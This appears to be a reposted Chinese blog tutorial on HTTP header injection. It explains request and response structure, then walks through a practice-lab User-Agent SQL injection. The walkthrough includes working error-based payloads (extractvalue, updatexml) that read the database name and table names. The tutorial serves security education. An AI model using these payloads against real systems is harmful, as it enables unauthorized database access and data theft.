当前位置:   article > 正文

HTTP头部注入_header注入

header注入

HTTP Header概述

HTTP工作原理

HTTP报文类型

  • 请求报文(HTTP Request):由客户端发给服务器的消息,其组成包括请求行(Request-Line)、请求头域(Header-Field)和请求体(Entity-Body)
  • 响应报文(HTTP Response):由服务器回复给客户端的消息,其组成包括状态行(Status-Line)、响应头域(Header-Field)和响应体(Entity-Body)

HTTP请求报文组成

HTTP请求方法

 HTTP响应报文组成

 HTTP响应消息状态码

 HTTP Header内容

  • User-Agent:使服务器能够识别客户端使用的操作系统,浏览器版本等(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
  • Cookie: 网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据(通常经过加密)
  • Host:客户端指定自己想访问的Web服务器的域名/IP 地址和端口号。
  • X-Forwarded-For:简称XFF头,它代表客户端(即HTTP的请求端)真实的IP(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
  • Client-IP:同上。
  • Referer:浏览器向Web服务器表明自己是从哪个页面链接过来的。

  HTTP Header注入

有时候,后台开发人员为了验证客户端HTTP Header(比如常用的Cookie验证等)或者通过HTTP Header头信息获取客户端的一些信息(比如User-Agent、Accept字段等)会对客户端HTTP Header进行获取并使用SQL语句进行处理,如果此时没有足够的安全考虑,就可能导致基于HTTP Header的注入漏洞。

 HTTP Header注入的前提条件

  • 能够对请求头消息进行修改
  • 修改的请求头信息能够带入数据库执行
  • 数据库没有对输入的请求头做过滤

常见的HTTP Header注入类型

  • Cookie注入
  • Referer注入
  • User-Agent注入
  • XFF注入 

 HTTP Header注入实例

判断注入类型

在尝试GET方法都失败后,我们判断其为POST方法

使用burp抓包

 页面输入正确的用户名密码后会回显用户代理User Agent头

 所以判断其为UA注入

在UA头后面添加' 出现报错信息,可以注入

 经过测试和查看源代码 有多种构造payload的方法

$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
' and 1 and '
' or 1 or '
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0','','')#

 尝试使用order by 失败 所以使用报错函数注入

 获取网站库名

User-Agent: 'and extractvalue(1,concat('~',database())) ,'','')#
User-Agent:' and 1 and extractvalue(1,concat('~',database())) and '

获取表名

1' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),'','')#
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1),'','')#

 注意:这里并不是URL而是HTTP头,所以+并不会被转义为(空格),于是末尾的注释符号要变为#

1' and updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and '
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)and '

注意:因为这里or的语法,User-Agent应为空。而步骤1成功的原因不确定,教程中也为空但没有影响,猜测是数据库版本的问题。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/凡人多烦事01/article/detail/541746
推荐阅读
相关标签
  

闽ICP备14008679号